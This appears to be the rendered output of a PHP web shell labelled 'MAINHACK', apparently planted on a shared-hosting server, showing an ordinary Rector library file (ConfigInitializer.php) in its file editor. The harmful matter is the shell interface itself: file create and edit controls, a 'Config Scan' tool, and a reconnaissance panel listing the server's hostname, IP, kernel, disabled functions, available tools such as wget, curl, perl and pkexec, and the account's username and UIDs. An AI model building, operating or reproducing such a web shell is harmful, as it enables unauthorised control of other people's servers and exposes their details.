[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ConfigInitializer.php
File is not writable. Editing disabled.
<?php declare (strict_types=1); namespace Rector\Configuration; use RectorPrefix202411\Nette\Utils\FileSystem; use Rector\Contract\Rector\RectorInterface; use Rector\FileSystem\InitFilePathsResolver; use Rector\PostRector\Contract\Rector\PostRectorInterface; use RectorPrefix202411\Symfony\Component\Console\Style\SymfonyStyle; final class ConfigInitializer { /** * @var RectorInterface[] * @readonly */ private $rectors; /** * @readonly * @var \Rector\FileSystem\InitFilePathsResolver */ private $initFilePathsResolver; /** * @readonly * @var \Symfony\Component\Console\Style\SymfonyStyle */ private $symfonyStyle; /** * @param RectorInterface[] $rectors */ public function __construct(array $rectors, InitFilePathsResolver $initFilePathsResolver, SymfonyStyle $symfonyStyle) { $this->rectors = $rectors; $this->initFilePathsResolver = $initFilePathsResolver; $this->symfonyStyle = $symfonyStyle; } public function createConfig(string $projectDirectory) : void { $commonRectorConfigPath = $projectDirectory . '/rector.php'; if (\file_exists($commonRectorConfigPath)) { $this->symfonyStyle->warning('Register rules or sets in your "rector.php" config'); return; } $response = $this->symfonyStyle->ask('No "rector.php" config found. Should we generate it for you?', 'yes'); // be tolerant about input if (!\in_array($response, ['yes', 'YES', 'y', 'Y'], \true)) { // okay, nothing we can do return; } $configContents = FileSystem::read(__DIR__ . '/../../templates/rector.php.dist'); $configContents = $this->replacePathsContents($configContents, $projectDirectory); FileSystem::write($commonRectorConfigPath, $configContents, null); $this->symfonyStyle->success('The config is added now. Re-run command to make Rector do the work!'); } public function areSomeRectorsLoaded() : bool { $activeRectors = $this->filterActiveRectors($this->rectors); return $activeRectors !== []; } /** * @param RectorInterface[] $rectors * @return RectorInterface[] */ private function filterActiveRectors(array $rectors) : array { return \array_filter($rectors, static function (RectorInterface $rector) : bool { return !$rector instanceof PostRectorInterface; }); } private function replacePathsContents(string $rectorPhpTemplateContents, string $projectDirectory) : string { $projectPhpDirectories = $this->initFilePathsResolver->resolve($projectDirectory); // fallback to default 'src' in case of empty one if ($projectPhpDirectories === []) { $projectPhpDirectories[] = 'src'; } $projectPhpDirectoriesContents = ''; foreach ($projectPhpDirectories as $projectPhpDirectory) { $projectPhpDirectoriesContents .= " __DIR__ . '/" . $projectPhpDirectory . "'," . \PHP_EOL; } $projectPhpDirectoriesContents = \rtrim($projectPhpDirectoriesContents); return \str_replace('__PATHS__', $projectPhpDirectoriesContents, $rectorPhpTemplateContents); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A